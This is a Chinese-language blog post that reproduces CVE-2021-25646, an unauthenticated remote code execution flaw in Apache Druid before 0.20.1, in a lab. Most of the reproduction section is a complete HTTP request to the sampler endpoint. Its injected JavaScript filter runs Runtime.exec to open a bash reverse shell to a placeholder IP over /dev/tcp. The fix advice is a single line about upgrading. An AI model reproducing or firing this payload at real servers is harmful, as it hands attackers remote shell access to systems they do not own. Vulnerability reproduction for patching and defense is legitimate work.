Apache druid未授权命令执行漏洞复现

简介

Apache Druid是一个实时分析型数据库,旨在对大型数据集进行快速的查询分析("OLAP"查询)。Druid最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景,同时,Druid也通常被用来助力分析型应用的图形化界面,或者当做需要快速聚合的高并发后端API,Druid最适合应用于面向事件类型的数据。

# 概述

由于Apache Druid 默认情况下缺乏授权认证,攻击者可直接构造恶意请求执行任意代码,控制服务器。

# CVE编号

CVE-2021-25646

# 影响版本

Apache Druid < 0.20.1

# 环境搭建

这里使用0.2.0版本进行复现,下载地址:

https://archive.apache.org/dist/druid/0.20.0/apache-druid-0.20.0-bin.tar.gz

下载后执行以下命令解压并启动漏洞环境。

tar -xzvf apache-druid-0.20.0-bin.tar.gz
cd apache-druid-0.20.0
./bin/start-micro-quickstart

1.jpg

启动后服务绑定在8888端口,浏览器可以正常访问则表示环境启动成功 

2.jpg

# 漏洞复现

设置代理后选择load data,抓取到以下包 

3.jpg

包内容: 

4.jpg

构造payload执行命令,这里做一个反弹shell的操作

POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.74.148:8888
Content-Length: 1043
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Edg/88.0.705.56
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.74.148:8888
Referer: http://192.168.74.148:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Connection: close

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx.xxx.xxx.xx/1234 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

5.jpg

# 漏洞修复

升级Apache Druid至0.20.1及以上版本

# 参考链接

https://f5.pm/go-57059.html

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-06-18 21:44:05       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-18 21:44:05       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-18 21:44:05       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-18 21:44:05       20 阅读

热门阅读

  1. git\repo

    git\repo

    2024-06-18 21:44:05      7 阅读
  2. Kotlin 中,data class 和普通 class

    2024-06-18 21:44:05       7 阅读
  3. 嵌入式跨平台编译:vsftpd

    2024-06-18 21:44:05       7 阅读
  4. 测试testing06181

    2024-06-18 21:44:05       7 阅读
  5. Day41

    Day41

    2024-06-18 21:44:05      7 阅读
  6. 深入探讨:Spring与MyBatis中的连接池与缓存机制

    2024-06-18 21:44:05       8 阅读
  7. token无感刷新

    2024-06-18 21:44:05       4 阅读
  8. 【HarmonyOS NEXT 】鸿蒙detectBarcode (图像识码)

    2024-06-18 21:44:05       5 阅读
  9. Flink 计数器Accumulator

    2024-06-18 21:44:05       6 阅读
  10. MySQL触发器基本结构

    2024-06-18 21:44:05       8 阅读
  11. Roboflow对YOLO数据集、标注、训练、下载

    2024-06-18 21:44:05       8 阅读